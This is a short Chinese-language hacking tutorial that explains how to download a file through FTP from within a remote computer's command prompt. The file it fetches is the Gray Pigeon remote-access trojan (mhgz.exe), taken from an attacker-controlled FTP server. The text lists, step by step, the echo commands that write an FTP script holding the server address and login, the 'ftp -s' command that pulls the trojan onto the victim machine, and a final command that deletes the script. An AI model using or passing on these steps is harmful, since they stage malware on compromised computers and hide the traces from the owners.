在遠端電腦的CMD內下載FTP檔案的方法

在遠端電腦的CMD環境下，如果不能通過IPC$渠道傳送檔案，那就只有通過FTP下載檔案了。
假設我們已經有一個FTP伺服器，上面有一個我們配置好的灰鴿子木馬檔案mhgz.exe,我們應該知道FTP伺服器的三個參數：

1、FTP伺服器的IP地址：如1.1.1.1
2、FTP伺服器的使用者名稱：如test
3、FTP伺服器的密 碼：如test123

在遠端電腦的CMD下依次輸入下面的命令：

1、echo open 1.1.1.1>>test.txt 登陸FTP伺服器
2、echo test>>test.txt 使用者名稱
3、echo test123>>test.txt 密碼
4、echo bin>>test.txt 開始
5、echo get mhgz.exe>>test.txt 下載灰鴿子木馬
6、echo bye>>test.txt 關閉FTP伺服器

輸入上面命令後，在遠端電腦上就會產生一個test.txt檔案，內容為：
open 1.1.1.1
test
test123
bin
get mhgz.exe
bye

現在我們在遠端電腦上執行下面的命令：
ftp -s:test.txt 意思是，讀取test.txt裡的參數，執行ftp命令，命令執行完後，灰鴿子木馬檔案mhgz.exe就下載到對方電腦裡了。

del c:\test.txt